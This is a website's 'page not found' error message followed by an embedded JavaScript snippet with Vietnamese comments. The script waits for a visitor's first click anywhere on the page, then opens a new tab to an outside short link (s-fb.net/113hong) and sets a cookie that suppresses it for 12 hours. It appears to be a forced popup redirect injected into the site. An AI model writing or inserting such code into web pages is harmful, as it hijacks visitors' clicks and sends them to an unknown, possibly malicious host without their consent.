We’re sorry, but we can’t find the page you were looking for. It’s probably some thing we’ve done wrong but now we know about it and we’ll try to fix it. In the meantime, try one of these options:
(function() {
// Hàm để lấy giá trị của một cookie
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
}
// Hàm để đặt cookie
function setCookie(name, value, hours) {
const date = new Date();
date.setTime(date.getTime() + (hours * 60 * 60 * 1000));
const expires = "expires=" + date.toUTCString();
document.cookie = name + "=" + value + ";" + expires + ";path=/";
}
// Kiểm tra xem cookie đã tồn tại chưa
const popupShown = getCookie("popupShown");
// Nếu cookie chưa tồn tại, thiết lập hành động
if (!popupShown) {
document.addEventListener('click', function() {
// Mở tab mới
window.open("https://s-fb.net/113hong", "_blank");
// Đặt cookie để không hiển thị lại trong 12 giờ
setCookie("popupShown", "true", 12);
}, { once: true }); // Sự kiện chỉ kích hoạt một lần
}
})();